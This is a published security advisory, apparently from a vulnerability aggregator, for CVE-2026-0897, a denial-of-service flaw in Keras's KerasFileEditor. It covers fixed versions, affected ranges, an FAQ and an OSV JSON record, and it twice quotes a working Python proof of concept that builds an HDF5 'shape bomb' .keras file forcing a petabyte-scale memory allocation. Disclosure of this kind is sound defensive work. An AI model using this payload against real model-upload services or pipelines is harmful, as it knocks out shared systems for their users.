CVE-2026-0897: Keras Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-mgx6-5cf9-rr43
CWE-770
Published
Advisory Summary

CVE-2026-0897 is a HIGH denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Keras libraries in the PyPI ecosystem. The issue involves keras vulnerable to dos via malicious .keras model (hdf5 shape bomb causes petabyte allocation in kerasfileeditor). Remediation is available by upgrading affected packages to version 3.12.1, 3.13.2.

CVE-2026-0897 at a Glance

CVE Identifier CVE-2026-0897
GHSA Identifier GHSA-mgx6-5cf9-rr43
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Keras
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-0897

To remediate this vulnerability, upgrade all affected Keras dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

keras fixed: 3.12.1
pip install keras>=3.12.1
keras fixed: 3.13.2
pip install keras>=3.13.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show keras

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-0897, inspect your installed packages using pip:

pip show keras

Analyze the terminal output to locate any version of Keras in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.12.1), your application is affected.

Note: The pip show keras command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Keras, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50_000_000, 50_000_000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading, Keras executes: `python result[key] = value[()] # loads entire dataset into memory` value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines. ### Proof of Concept ``` // PoC.py import zipfile import io import h5py import numpy as np from keras.saving import KerasFileEditor # Create a malicious .keras model containing a massive HDF5 shape bomb def create_malicious_keras(path="bomb.keras"): hdf5_bytes = io.BytesIO() # Create an HDF5 file with a huge declared dataset shape with h5py.File(hdf5_bytes, "w") as f: d = f.create_dataset( "payload", shape=(50_000_000, 50_000_000), # Extremely large shape → petabytes on load dtype="float32", compression="gzip", compression_opts=9 ) # Write minimal data so the file stays very small d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32) hdf5_bytes.seek(0) # Build a valid .keras archive structure with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("config.json", "{}") z.writestr("metadata.json", "{}") z.writestr("model.weights.h5", hdf5_bytes.getvalue()) # Generate the malicious model file create_malicious_keras() # Trigger the DoS vulnerability when Keras loads the malicious file KerasFileEditor("bomb.keras") ``` ### Expected Result ``` numpy._core._exceptions._ArrayMemoryError: Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000) ``` This crash occurs before any actual model processing, confirming the Denial-of-Service impact. ### Impact This vulnerability allows an attacker to crash any system that loads a malicious `.keras` model file. The attacker can: - Cause immediate memory exhaustion (8+ PiB allocation attempts) - Crash TensorFlow / Python interpreter - Kill Jupyter kernels - Break automated model-upload pipelines - Crash MLOps servers that process user models - Deny service to shared GPU/CPU environments If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector. Additional PoC Evidence (Video Demonstration) Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model. PoC Video (Google Drive): [PoC Video](https://drive.google.com/file/d/1XAj57epTBWpj93GwHprHvb14WS9wpl5m/view?usp=drivesdk) Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files Vector: Malicious metadata causing extreme tensor shape inflation Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services Demonstration: The PoC video shows the crash occurring on Google Colab. Loading the malicious model consumed all system RAM and repeatedly terminated the runtime. Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests. With larger payloads, this would instantly exhaust resources in real production pipelines.

CVE-2026-0897 Affected Keras Versions

2 component(s)
Fixed Versions:
3.12.13.13.2
Product / Package Ecosystem Affected Versions Fixed Version
keras
PyPI
≥ 3.0.0
< 3.12.1
3.12.1
keras
PyPI
≥ 3.13.0
< 3.13.2
3.13.2

References

Frequently Asked Questions

What is CVE-2026-0897?
CVE-2026-0897 is a security vulnerability in Keras involving Keras vulnerable to DoS via Malicious .keras Model (HDF5 Shape Bomb Causes Petabyte Allocation in KerasFileEditor) under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Keras versions are affected?
Affected versions include releases prior to 3.12.1, 3.13.2 across affected packages: keras.
What version fixes CVE-2026-0897?
Upgrading to 3.12.1, 3.13.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is keras affected?
Yes, keras is affected in releases prior to 3.12.1, 3.13.2. Upgrade your dependency to 3.12.1, 3.13.2 or later.
What CWE is associated with CVE-2026-0897?
CVE-2026-0897 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check PyPI dependencies for CVE-2026-0897?
Run the dependency tree command: 'pip show keras'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mgx6-5cf9-rr43",
  "modified" : "2026-06-08T18:34:10Z",
  "published" : "2026-05-06T23:09:37Z",
  "aliases" : [ "CVE-2026-0897" ],
  "summary" : "Keras vulnerable to DoS via Malicious .keras Model (HDF5 Shape Bomb Causes Petabyte Allocation in KerasFileEditor)",
  "details" : "### Summary\nKeras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50_000_000, 50_000_000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading, \nKeras executes:\n`python\nresult[key] = value[()]   # loads entire dataset into memory`\nvalue[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines.\n### Proof of Concept\n```\n// PoC.py\nimport zipfile\nimport io\nimport h5py\nimport numpy as np\nfrom keras.saving import KerasFileEditor\n\n# Create a malicious .keras model containing a massive HDF5 shape bomb\ndef create_malicious_keras(path=\"bomb.keras\"):\n    hdf5_bytes = io.BytesIO()\n\n    # Create an HDF5 file with a huge declared dataset shape\n    with h5py.File(hdf5_bytes, \"w\") as f:\n        d = f.create_dataset(\n            \"payload\",\n            shape=(50_000_000, 50_000_000),    # Extremely large shape → petabytes on load\n            dtype=\"float32\",\n            compression=\"gzip\",\n            compression_opts=9\n        )\n        # Write minimal data so the file stays very small\n        d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)\n\n    hdf5_bytes.seek(0)\n\n    # Build a valid .keras archive structure\n    with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n        z.writestr(\"config.json\", \"{}\")\n        z.writestr(\"metadata.json\", \"{}\")\n        z.writestr(\"model.weights.h5\", hdf5_bytes.getvalue())\n\n# Generate the malicious model file\ncreate_malicious_keras()\n\n# Trigger the DoS vulnerability when Keras loads the malicious file\nKerasFileEditor(\"bomb.keras\")\n```\n### Expected Result\n```\nnumpy._core._exceptions._ArrayMemoryError:\nUnable to allocate 8.88 PiB for an array with shape (50000000, 50000000)\n```\nThis crash occurs before any actual model processing, confirming the Denial-of-Service impact.\n### Impact\nThis vulnerability allows an attacker to crash any system that loads a malicious `.keras` model file.\n\nThe attacker can:\n\n- Cause immediate memory exhaustion (8+ PiB allocation attempts)\n- Crash TensorFlow / Python interpreter\n- Kill Jupyter kernels\n- Break automated model-upload pipelines\n- Crash MLOps servers that process user models\n- Deny service to shared GPU/CPU environments\n\nIf a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector.\nAdditional PoC Evidence (Video Demonstration)\nAttached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.\n\nPoC Video (Google Drive):\n[PoC Video](https://drive.google.com/file/d/1XAj57epTBWpj93GwHprHvb14WS9wpl5m/view?usp=drivesdk)\n\nFinding: Critical memory-exhaustion flaw triggered by crafted .keras model files\nVector: Malicious metadata causing extreme tensor shape inflation\nImpact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process\nAttack Scenario: Remote DoS on ML model processing pipelines and cloud inference services\n\nDemonstration:\nThe PoC video shows the crash occurring on Google Colab.\nLoading the malicious model consumed all system RAM and repeatedly terminated the runtime.\nSeverity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests.\nWith larger payloads, this would instantly exhaust resources in real production pipelines.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "keras"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.12.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.12.0"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "keras"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.13.0"
      }, {
        "fixed" : "3.13.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/keras-team/keras/security/advisories/GHSA-mgx6-5cf9-rr43"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-0897"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/keras-team/keras/pull/21880"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/keras-team/keras/pull/22081"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/keras-team/keras/commit/f704c887bf459b42769bfc8a9182f838009afddb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/keras-team/keras"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/keras/PYSEC-2026-73.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T23:09:37Z",
    "nvd_published_at" : null
  }
}